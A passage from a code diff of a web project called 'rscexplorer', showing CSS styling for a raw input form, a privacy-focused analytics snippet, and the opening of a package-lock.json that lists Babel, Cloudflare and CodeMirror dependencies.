@keyframes pulse {
1011
+
0%, 100% { opacity: 0.3; }
1012
+
50% { opacity: 1; }
1013
+
}
1014
+
1015
+
/* Raw input form */
1016
+
.add-raw-btn-wrapper {
1017
+
display: flex;
1018
+
justify-content: center;
1019
+
margin-top: 8px;
1020
+
}
1021
+
.add-raw-btn {
1022
+
width: 24px;
1023
+
height: 24px;
1024
+
padding: 0;
1025
+
background: var(--border);
1026
+
border: 1px solid #444;
1027
+
border-radius: 50%;
1028
+
color: var(--text-dim);
1029
+
cursor: pointer;
1030
+
font-size: 14px;
1031
+
line-height: 22px;
1032
+
transition: all 0.15s;
1033
+
}
1034
+
.add-raw-btn:hover {
1035
+
background: #3a3a3a;
1036
+
border-color: #666;
1037
+
color: var(--text);
1038
+
}
1039
+
.raw-input-form {
1040
+
margin-top: 8px;
1041
+
padding: 10px;
1042
+
background: var(--surface);
1043
+
border: 1px solid var(--border);
1044
+
border-radius: 4px;
1045
+
}
1046
+
.raw-input-action {
1047
+
-webkit-appearance: none;
1048
+
appearance: none;
1049
+
width: 100%;
1050
+
padding: 5px 28px 5px 10px;
1051
+
margin-bottom: 8px;
1052
+
background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23999' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #333, #2a2a2a);
1053
+
border: 1px solid #555;
1054
+
border-radius: 4px;
1055
+
color: #fff;
1056
+
font-size: 12px;
1057
+
cursor: pointer;
1058
+
box-shadow: 0 1px 2px rgba(0,0,0,0.2);
1059
+
}
1060
+
.raw-input-action:hover {
1061
+
border-color: #666;
1062
+
background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23bbb' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #3a3a3a, #333);
1063
+
}
1064
+
.raw-input-action:focus {
1065
+
outline: none;
1066
+
border-color: #ffd54f;
1067
+
}
1068
+
.raw-input-payload {
1069
+
width: 100%;
1070
+
padding: 8px;
1071
+
background: var(--bg);
1072
+
border: 1px solid var(--border);
1073
+
border-radius: 3px;
1074
+
color: var(--text);
1075
+
font-family: var(--font-mono);
1076
+
font-size: 11px;
1077
+
resize: vertical;
1078
+
min-height: 100px;
1079
+
}
1080
+
.raw-input-payload:focus {
1081
+
outline: none;
1082
+
border-color: #555;
1083
+
}
1084
+
.raw-input-buttons {
1085
+
display: flex;
1086
+
gap: 8px;
1087
+
margin-top: 8px;
1088
+
}
1089
+
.raw-input-buttons button {
1090
+
padding: 5px 12px;
1091
+
border-radius: 3px;
1092
+
font-size: 11px;
1093
+
cursor: pointer;
1094
+
}
1095
+
.raw-input-buttons button:first-child {
1096
+
background: #ffd54f;
1097
+
border: none;
1098
+
color: #000;
1099
+
}
1100
+
.raw-input-buttons button:first-child:disabled {
1101
+
background: #555;
1102
+
color: #888;
1103
+
cursor: not-allowed;
1104
+
}
1105
+
.raw-input-buttons button:last-child {
1106
+
background: transparent;
1107
+
border: 1px solid var(--border);
1108
+
color: var(--text-dim);
1109
+
}
1110
+
.raw-input-buttons button:last-child:hover {
1111
+
border-color: #555;
1112
+
color: var(--text);
1113
+
}
1114
+
.log-entry-header-right {
1115
+
display: flex;
1116
+
align-items: center;
1117
+
gap: 8px;
1118
+
}
1119
+
.delete-entry-btn {
1120
+
background: transparent;
1121
+
border: none;
1122
+
color: var(--text-dim);
1123
+
cursor: pointer;
1124
+
font-size: 14px;
1125
+
padding: 0 4px;
1126
+
line-height: 1;
1127
+
opacity: 0.5;
1128
+
transition: opacity 0.15s, color 0.15s;
1129
+
}
1130
+
.delete-entry-btn:hover {
1131
+
opacity: 1;
1132
+
color: #e57373;
1133
+
}
1134
+
</style>
1135
+
<!-- Privacy-friendly analytics by Plausible -->
1136
+
<script async src="https://plausible.io/js/pa-CtwoQWR5DSFU93v-DPr1p.js"></script>
1137
+
<script>
1138
+
window.plausible=window.plausible||function(){(plausible.q=plausible.q||[]).push(arguments)},plausible.init=plausible.init||function(i){plausible.o=i||{}};
1139
+
plausible.init()
1140
+
</script>
1141
+
</head>
1142
+
<body>
1143
+
<div id="app" style="display: flex; flex-direction: column; height: 100%; overflow: hidden;"></div>
1144
+
<script type="module" src="/src/client/index.jsx"></script>
1145
+
</body>
1146
+
</html>
+4613
package-lock.json
+4613
package-lock.json
···
1
+
{
2
+
"name": "rscexplorer",
3
+
"version": "1.0.0",
4
+
"lockfileVersion": 3,
5
+
"requires": true,
6
+
"packages": {
7
+
"": {
8
+
"name": "rscexplorer",
9
+
"version": "1.0.0",
10
+
"license": "MIT",
11
+
"dependencies": {
12
+
"@babel/standalone": "^7.28.5",
13
+
"@codemirror/autocomplete": "^6.20.0",
14
+
"@codemirror/commands": "^6.10.0",
15
+
"@codemirror/lang-javascript": "^6.2.4",
16
+
"@codemirror/language": "^6.11.3",
17
+
"@codemirror/state": "^6.5.2",
18
+
"@codemirror/theme-one-dark": "^6.1.3",
19
+
"@codemirror/view": "^6.39.4",
20
+
"@lezer/highlight": "^1.2.3",
21
+
"codemirror": "^6.0.2",
22
+
"react": "19.2.3",
23
+
"react-dom": "19.2.3",
24
+
"react-server-dom-webpack": "19.2.3",
25
+
"text-encoding": "^0.7.0",
26
+
"web-streams-polyfill": "^4.2.0"
27
+
},
28
+
"devDependencies": {
29
+
"@vitejs/plugin-react": "^5.1.2",
30
+
"@vitest/browser": "^4.0.15",
31
+
"@vitest/browser-playwright": "^4.0.15",
32
+
"playwright": "^1.57.0",
33
+
"rolldown": "^1.0.0-beta.54",
34
+
"vite": "npm:rolldown-vite@latest",
35
+
"vitest": "^4.0.15",
36
+
"wrangler": "^4.0.0"
37
+
}
38
+
},
39
+
"node_modules/@babel/code-frame": {
40
+
"version": "7.27.1",
41
+
"resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
42
+
"integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==",
43
+
"dev": true,
44
+
"license": "MIT",
45
+
"dependencies": {
46
+
"@babel/helper-validator-identifier": "^7.27.1",
47
+
"js-tokens": "^4.0.0",
48
+
"picocolors": "^1.1.1"
49
+
},
50
+
"engines": {
51
+
"node": ">=6.9.0"
52
+
}
53
+
},
54
+
"node_modules/@babel/compat-data": {
55
+
"version": "7.28.5",
56
+
"resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz",
57
+
"integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==",
58
+
"dev": true,
59
+
"license": "MIT",
60
+
"engines": {
61
+
"node": ">=6.9.0"
62
+
}
63
+
},
64
+
"node_modules/@babel/core": {
65
+
"version": "7.28.5",
66
+
"resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz",
67
+
"integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==",
68
+
"dev": true,
69
+
"license": "MIT",
70
+
"dependencies": {
71
+
"@babel/code-frame": "^7.27.1",
72
+
"@babel/generator": "^7.28.5",
73
+
"@babel/helper-compilation-targets": "^7.27.2",
74
+
"@babel/helper-module-transforms": "^7.28.3",
75
+
"@babel/helpers": "^7.28.4",
76
+
"@babel/parser": "^7.28.5",
77
+
"@babel/template": "^7.27.2",
78
+
"@babel/traverse": "^7.28.5",
79
+
"@babel/types": "^7.28.5",
80
+
"@jridgewell/remapping": "^2.3.5",
81
+
"convert-source-map": "^2.0.0",
82
+
"debug": "^4.1.0",
83
+
"gensync": "^1.0.0-beta.2",
84
+
"json5": "^2.2.3",
85
+
"semver": "^6.3.1"
86
+
},
87
+
"engines": {
88
+
"node": ">=6.9.0"
89
+
},
90
+
"funding": {
91
+
"type": "opencollective",
92
+
"url": "https://opencollective.com/babel"
93
+
}
94
+
},
95
+
"node_modules/@babel/generator": {
96
+
"version": "7.28.5",
97
+
"resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz",
98
+
"integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==",
99
+
"dev": true,
100
+
"license": "MIT",
101
+
"dependencies": {
102
+
"@babel/parser": "^7.28.5",
103
+
"@babel/types": "^7.28.5",
104
+
"@jridgewell/gen-mapping": "^0.3.12",
105
+
"@jridgewell/trace-mapping": "^0.3.28",
106
+
"jsesc": "^3.0.2"
107
+
},
108
+
"engines": {
109
+
"node": ">=6.9.0"
110
+
}
111
+
},
112
+
"node_modules/@babel/helper-compilation-targets": {
113
+
"version": "7.27.2",
114
+
"resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",
115
+
"integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==",
116
+
"dev": true,
117
+
"license": "MIT",
118
+
"dependencies": {
119
+
"@babel/compat-data": "^7.27.2",
120
+
"@babel/helper-validator-option": "^7.27.1",
121
+
"browserslist": "^4.24.0",
122
+
"lru-cache": "^5.1.1",
123
+
"semver": "^6.3.1"
124
+
},
125
+
"engines": {
126
+
"node": ">=6.9.0"
127
+
}
128
+
},
129
+
"node_modules/@babel/helper-globals": {
130
+
"version": "7.28.0",
131
+
"resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
132
+
"integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
133
+
"dev": true,
134
+
"license": "MIT",
135
+
"engines": {
136
+
"node": ">=6.9.0"
137
+
}
138
+
},
139
+
"node_modules/@babel/helper-module-imports": {
140
+
"version": "7.27.1",
141
+
"resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",
142
+
"integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==",
143
+
"dev": true,
144
+
"license": "MIT",
145
+
"dependencies": {
146
+
"@babel/traverse": "^7.27.1",
147
+
"@babel/types": "^7.27.1"
148
+
},
149
+
"engines": {
150
+
"node": ">=6.9.0"
151
+
}
152
+
},
153
+
"node_modules/@babel/helper-module-transforms": {
154
+
"version": "7.28.3",
155
+
"resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz",
156
+
"integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==",
157
+
"dev": true,
158
+
"license": "MIT",
159
+
"dependencies": {
160
+
"@babel/helper-module-imports": "^7.27.1",
161
+
"@babel/helper-validator-identifier": "^7.27.1",
162
+
"@babel/traverse": "^7.28.3"
163
+
},
164
+
"engines": {
165
+
"node": ">=6.9.0"
166
+
},
167
+
"peerDependencies": {
168
+
"@babel/core": "^7.0.0"
169
+
}
170
+
},
171
+
"node_modules/@babel/helper-plugin-utils": {
172
+
"version": "7.27.1",
173
+
"resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz",
174
+
"integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==",
175
+
"dev": true,
176
+
"license": "MIT",
177
+
"engines": {
178
+
"node": ">=6.9.0"
179
+
}
180
+
},
181
+
"node_modules/@babel/helper-string-parser": {
182
+
"version": "7.27.1",
183
+
"resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
184
+
"integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
185
+
"dev": true,
186
+
"license": "MIT",
187
+
"engines": {
188
+
"node": ">=6.9.0"
189
+
}
190
+
},
191
+
"node_modules/@babel/helper-validator-identifier": {
192
+
"version": "7.28.5",
193
+
"resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
194
+
"integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==",
195
+
"dev": true,
196
+
"license": "MIT",
197
+
"engines": {
198
+
"node": ">=6.9.0"
199
+
}
200
+
},
201
+
"node_modules/@babel/helper-validator-option": {
202
+
"version": "7.27.1",
203
+
"resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
204
+
"integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==",
205
+
"dev": true,
206
+
"license": "MIT",
207
+
"engines": {
208
+
"node": ">=6.9.0"
209
+
}
210
+
},
211
+
"node_modules/@babel/helpers": {
212
+
"version": "7.28.4",
213
+
"resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz",
214
+
"integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==",
215
+
"dev": true,
216
+
"license": "MIT",
217
+
"dependencies": {
218
+
"@babel/template": "^7.27.2",
219
+
"@babel/types": "^7.28.4"
220
+
},
221
+
"engines": {
222
+
"node": ">=6.9.0"
223
+
}
224
+
},
225
+
"node_modules/@babel/parser": {
226
+
"version": "7.28.5",
227
+
"resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz",
228
+
"integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==",
229
+
"dev": true,
230
+
"license": "MIT",
231
+
"dependencies": {
232
+
"@babel/types": "^7.28.5"
233
+
},
234
+
"bin": {
235
+
"parser": "bin/babel-parser.js"
236
+
},
237
+
"engines": {
238
+
"node": ">=6.0.0"
239
+
}
240
+
},
241
+
"node_modules/@babel/plugin-transform-react-jsx-self": {
242
+
"version": "7.27.1",
243
+
"resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",
244
+
"integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==",
245
+
"dev": true,
246
+
"license": "MIT",
247
+
"dependencies": {
248
+
"@babel/helper-plugin-utils": "^7.27.1"
249
+
},
250
+
"engines": {
251
+
"node": ">=6.9.0"
252
+
},
253
+
"peerDependencies": {
254
+
"@babel/core": "^7.0.0-0"
255
+
}
256
+
},
257
+
"node_modules/@babel/plugin-transform-react-jsx-source": {
258
+
"version": "7.27.1",
259
+
"resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",
260
+
"integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==",
261
+
"dev": true,
262
+
"license": "MIT",
263
+
"dependencies": {
264
+
"@babel/helper-plugin-utils": "^7.27.1"
265
+
},
266
+
"engines": {
267
+
"node": ">=6.9.0"
268
+
},
269
+
"peerDependencies": {
270
+
"@babel/core": "^7.0.0-0"
271
+
}
272
+
},
273
+
"node_modules/@babel/standalone": {
274
+
"version": "7.28.5",
275
+
"resolved": "https://registry.npmjs.org/@babel/standalone/-/standalone-7.28.5.tgz",
276
+
"integrity": "sha512-1DViPYJpRU50irpGMfLBQ9B4kyfQuL6X7SS7pwTeWeZX0mNkjzPi0XFqxCjSdddZXUQy4AhnQnnesA/ZHnvAdw==",
277
+
"license": "MIT",
278
+
"engines": {
279
+
"node": ">=6.9.0"
280
+
}
281
+
},
282
+
"node_modules/@babel/template": {
283
+
"version": "7.27.2",
284
+
"resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",
285
+
"integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==",
286
+
"dev": true,
287
+
"license": "MIT",
288
+
"dependencies": {
289
+
"@babel/code-frame": "^7.27.1",
290
+
"@babel/parser": "^7.27.2",
291
+
"@babel/types": "^7.27.1"
292
+
},
293
+
"engines": {
294
+
"node": ">=6.9.0"
295
+
}
296
+
},
297
+
"node_modules/@babel/traverse": {
298
+
"version": "7.28.5",
299
+
"resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz",
300
+
"integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==",
301
+
"dev": true,
302
+
"license": "MIT",
303
+
"dependencies": {
304
+
"@babel/code-frame": "^7.27.1",
305
+
"@babel/generator": "^7.28.5",
306
+
"@babel/helper-globals": "^7.28.0",
307
+
"@babel/parser": "^7.28.5",
308
+
"@babel/template": "^7.27.2",
309
+
"@babel/types": "^7.28.5",
310
+
"debug": "^4.3.1"
311
+
},
312
+
"engines": {
313
+
"node": ">=6.9.0"
314
+
}
315
+
},
316
+
"node_modules/@babel/types": {
317
+
"version": "7.28.5",
318
+
"resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz",
319
+
"integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==",
320
+
"dev": true,
321
+
"license": "MIT",
322
+
"dependencies": {
323
+
"@babel/helper-string-parser": "^7.27.1",
324
+
"@babel/helper-validator-identifier": "^7.28.5"
325
+
},
326
+
"engines": {
327
+
"node": ">=6.9.0"
328
+
}
329
+
},
330
+
"node_modules/@cloudflare/kv-asset-handler": {
331
+
"version": "0.4.1",
332
+
"resolved": "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.4.1.tgz",
333
+
"integrity": "sha512-Nu8ahitGFFJztxUml9oD/DLb7Z28C8cd8F46IVQ7y5Btz575pvMY8AqZsXkX7Gds29eCKdMgIHjIvzskHgPSFg==",
334
+
"dev": true,
335
+
"license": "MIT OR Apache-2.0",
336
+
"dependencies": {
337
+
"mime": "^3.0.0"
338
+
},
339
+
"engines": {
340
+
"node": ">=18.0.0"
341
+
}
342
+
},
343
+
"node_modules/@cloudflare/kv-asset-handler/node_modules/mime": {
344
+
"version": "3.0.0",
345
+
"resolved": "https://registry.npmjs.org/mime/-/mime-3.0.0.tgz",
346
+
"integrity": "sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==",
347
+
"dev": true,
348
+
"license": "MIT",
349
+
"bin": {
350
+
"mime": "cli.js"
351
+
},
352
+
"engines": {
353
+
"node": ">=10.0.0"
354
+
}
355
+
},
356
+
"node_modules/@cloudflare/unenv-preset": {
357
+
"version": "2.7.13",
358
+
"resolved": "https://registry.npmjs.org/@cloudflare/unenv-preset/-/unenv-preset-2.7.13.tgz",
359
+
"integrity": "sha512-NulO1H8R/DzsJguLC0ndMuk4Ufv0KSlN+E54ay9rn9ZCQo0kpAPwwh3LhgpZ96a3Dr6L9LqW57M4CqC34iLOvw==",
360
+
"dev": true,
361
+
"license": "MIT OR Apache-2.0",
362
+
"peerDependencies": {
363
+
"unenv": "2.0.0-rc.24",
364
+
"workerd": "^1.20251202.0"
365
+
},
366
+
"peerDependenciesMeta": {
367
+
"workerd": {
368
+
"optional": true
369
+
}
370
+
}
371
+
},
372
+
"node_modules/@cloudflare/workerd-darwin-64": {
373
+
"version": "1.20251210.0",
374
+
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-64/-/workerd-darwin-64-1.20251210.0.tgz",
375
+
"integrity": "sha512-Nn9X1moUDERA9xtFdCQ2XpQXgAS9pOjiCxvOT8sVx9UJLAiBLkfSCGbpsYdarODGybXCpjRlc77Yppuolvt7oQ==",
376
+
"cpu": [
377
+
"x64"
378
+
],
379
+
"dev": true,
380
+
"license": "Apache-2.0",
381
+
"optional": true,
382
+
"os": [
383
+
"darwin"
384
+
],
385
+
"engines": {
386
+
"node": ">=16"
387
+
}
388
+
},
389
+
"node_modules/@cloudflare/workerd-darwin-arm64": {
390
+
"version": "1.20251210.0",
391
+
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-arm64/-/workerd-darwin-arm64-1.20251210.0.tgz",
392
+
"integrity": "sha512-Mg8iYIZQFnbevq/ls9eW/eneWTk/EE13Pej1MwfkY5et0jVpdHnvOLywy/o+QtMJFef1AjsqXGULwAneYyBfHw==",
393
+
"cpu": [
394
+
"arm64"
395
+
],
396
+
"dev": true,
397
+
"license": "Apache-2.0",
398
+
"optional": true,
399
+
"os": [
400
+
"darwin"
401
+
],
402
+
"engines": {
403
+
"node": ">=16"
404
+
}
405
+
},
406
+
"node_modules/@cloudflare/workerd-linux-64": {
407
+
"version": "1.20251210.0",
408
+
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-64/-/workerd-linux-64-1.20251210.0.tgz",
409
+
"integrity": "sha512-kjC2fCZhZ2Gkm1biwk2qByAYpGguK5Gf5ic8owzSCUw0FOUfQxTZUT9Lp3gApxsfTLbbnLBrX/xzWjywH9QR4g==",
410
+
"cpu": [
411
+
"x64"
412
+
],
413
+
"dev": true,
414
+
"license": "Apache-2.0",
415
+
"optional": true,
416
+
"os": [
417
+
"linux"
418
+
],
419
+
"engines": {
420
+
"node": ">=16"
421
+
}
422
+
},
423
+
"node_modules/@cloudflare/workerd-linux-arm64": {
424
+
"version": "1.20251210.0",
425
+
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-arm64/-/workerd-linux-arm64-1.20251210.0.tgz",
426
+
"integrity": "sha512-2IB37nXi7PZVQLa1OCuO7/6pNxqisRSO8DmCQ5x/3sezI5op1vwOxAcb1osAnuVsVN9bbvpw70HJvhKruFJTuA==",
427
+
"cpu": [
428
+
"arm64"
429
+
],
430
+
"dev": true,
431
+
"license": "Apache-2.0",
432
+
"optional": true,
433
+
"os": [
434
+
"linux"
435
+
],
436
+
"engines": {
437
+
"node": ">=16"
438
+
}
439
+
},
440
+
"node_modules/@cloudflare/workerd-windows-64": {
441
+
"version": "1.20251210.0",
442
+
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-windows-64/-/workerd-windows-64-1.20251210.0.tgz",
443
+
"integrity": "sha512-Uaz6/9XE+D6E7pCY4OvkCuJHu7HcSDzeGcCGY1HLhojXhHd7yL52c3yfiyJdS8hPatiAa0nn5qSI/42+aTdDSw==",
444
+
"cpu": [
445
+
"x64"
446
+
],
447
+
"dev": true,
448
+
"license": "Apache-2.0",
449
+
"optional": true,
450
+
"os": [
451
+
"win32"
452
+
],
453
+
"engines": {
454
+
"node": ">=16"
455
+
}
456
+
},
457
+
"node_modules/@codemirror/autocomplete": {
458
+
"version": "6.20.0",
459
+
"resolved": "https://registry.npmjs.org/@codemirror/autocomplete/-/autocomplete-6.20.0.tgz",
460
+
"integrity": "sha512-bOwvTOIJcG5FVo5gUUupiwYh8MioPLQ4UcqbcRf7UQ98X90tCa9E1kZ3Z7tqwpZxYyOvh1YTYbmZE9RTfTp5hg==",
461
+
"license": "MIT",
462
+
"dependencies": {
463
+
"@codemirror/language": "^6.0.0",
464
+
"@codemirror/state": "^6.0.0",
465
+
"@codemirror/view": "^6.17.0",
466
+
"@lezer/common": "^1.0.0"
467
+
}
468
+
},
469
+
"node_modules/@codemirror/commands": {
470
+
"version": "6.10.0",
471
+
"resolved": "https://registry.npmjs.org/@codemirror/commands/-/commands-6.10.0.tgz",
472
+
"integrity": "sha512-2xUIc5mHXQzT16JnyOFkh8PvfeXuIut3pslWGfsGOhxP/lpgRm9HOl/mpzLErgt5mXDovqA0d11P21gofRLb9w==",
473
+
"license": "MIT",
474
+
"dependencies": {
475
+
"@codemirror/language": "^6.0.0",
476
+
"@codemirror/state": "^6.4.0",
477
+
"@codemirror/view": "^6.27.0",
478
+
"@lezer/common": "^1.1.0"
479
+
}
480
+
},
481
+
"node_modules/@codemirror/lang-javascript": {
482
+
"version": "6.2.4",
483
+
"resolved": "https://registry.npmjs.org/@codemirror/lang-javascript/-/lang-javascript-6.2.4.tgz",
484
+
"integrity": "sha512-0WVmhp1QOqZ4Rt6GlVGwKJN3KW7Xh4H2q8ZZNGZaP6lRdxXJzmjm4FqvmOojVj6khWJHIb9sp7U/72W7xQgqAA==",
485
+
"license": "MIT",
486
+
"dependencies": {
487
+
"@codemirror/autocomplete": "^6.0.0",
488
+
"@codemirror/language": "^6.6.0",
489
+
"@codemirror/lint": "^6.0.0",
490
+
"@codemirror/state": "^6.0.0",
491
+
"@codemirror/view": "^6.17.0",
492
+
"@lezer/common": "^1.0.0",
493
+
"@lezer/javascript": "^1.0.0"
494
+
}
495
+
},
496
+
"node_modules/@codemirror/language": {
497
+
"version": "6.11.3",
498
+
"resolved": "https://registry.npmjs.org/@codemirror/language/-/language-6.11.3.tgz",
499
+
"integrity": "sha512-9HBM2XnwDj7fnu0551HkGdrUrrqmYq/WC5iv6nbY2WdicXdGbhR/gfbZOH73Aqj4351alY1+aoG9rCNfiwS1RA==",
500
+
"license": "MIT",
501
+
"dependencies": {
502
+
"@codemirror/state": "^6.0.0",
503
+
"@codemirror/view": "^6.23.0",
504
+
"@lezer/common": "^1.1.0",
505
+
"@lezer/highlight": "^1.0.0",
506
+
"@lezer/lr": "^1.0.0",
507
+
"style-mod": "^4.0.0"
508
+
}
509
+
},
510
+
"node_modules/@codemirror/lint": {
511
+
"version": "6.9.2",
512
+
"resolved": "https://registry.npmjs.org/@codemirror/lint/-/lint-6.9.2.tgz",
513
+
"integrity": "sha512-sv3DylBiIyi+xKwRCJAAsBZZZWo82shJ/RTMymLabAdtbkV5cSKwWDeCgtUq3v8flTaXS2y1kKkICuRYtUswyQ==",
514
+
"license": "MIT",
515
+
"dependencies": {
516
+
"@codemirror/state": "^6.0.0",
517
+
"@codemirror/view": "^6.35.0",
518
+
"crelt": "^1.0.5"
519
+
}
520
+
},
521
+
"node_modules/@codemirror/search": {
522
+
"version": "6.5.11",
523
+
"resolved": "https://registry.npmjs.org/@codemirror/search/-/search-6.5.11.tgz",
524
+
"integrity": "sha512-KmWepDE6jUdL6n8cAAqIpRmLPBZ5ZKnicE8oGU/s3QrAVID+0VhLFrzUucVKHG5035/BSykhExDL/Xm7dHthiA==",
525
+
"license": "MIT",
526
+
"dependencies": {
527
+
"@codemirror/state": "^6.0.0",
528
+
"@codemirror/view": "^6.0.0",
529
+
"crelt": "^1.0.5"
530
+
}
531
+
},
532
+
"node_modules/@codemirror/state": {
533
+
"version": "6.5.2",
534
+
"resolved": "https://registry.npmjs.org/@codemirror/state/-/state-6.5.2.tgz",
535
+
"integrity": "sha512-FVqsPqtPWKVVL3dPSxy8wEF/ymIEuVzF1PK3VbUgrxXpJUSHQWWZz4JMToquRxnkw+36LTamCZG2iua2Ptq0fA==",
536
+
"license": "MIT",
537
+
"dependencies": {
538
+
"@marijn/find-cluster-break": "^1.0.0"
539
+
}
540
+
},
541
+
"node_modules/@codemirror/theme-one-dark": {
542
+
"version": "6.1.3",
543
+
"resolved": "https://registry.npmjs.org/@codemirror/theme-one-dark/-/theme-one-dark-6.1.3.tgz",
544
+
"integrity": "sha512-NzBdIvEJmx6fjeremiGp3t/okrLPYT0d9orIc7AFun8oZcRk58aejkqhv6spnz4MLAevrKNPMQYXEWMg4s+sKA==",
545
+
"license": "MIT",
546
+
"dependencies": {
547
+
"@codemirror/language": "^6.0.0",
548
+
"@codemirror/state": "^6.0.0",
549
+
"@codemirror/view": "^6.0.0",
550
+
"@lezer/highlight": "^1.0.0"
551
+
}
552
+
},
553
+
"node_modules/@codemirror/view": {
554
+
"version": "6.39.4",
555
+
"resolved": "https://registry.npmjs.org/@codemirror/view/-/view-6.39.4.tgz",
556
+
"integrity": "sha512-xMF6OfEAUVY5Waega4juo1QGACfNkNF+aJLqpd8oUJz96ms2zbfQ9Gh35/tI3y8akEV31FruKfj7hBnIU/nkqA==",
557
+
"license": "MIT",
558
+
"dependencies": {
559
+
"@codemirror/state": "^6.5.0",
560
+
"crelt": "^1.0.6",
561
+
"style-mod": "^4.1.0",
562
+
"w3c-keyname": "^2.2.4"
563
+
}
564
+
},
565
+
"node_modules/@cspotcode/source-map-support": {
566
+
"version": "0.8.1",
567
+
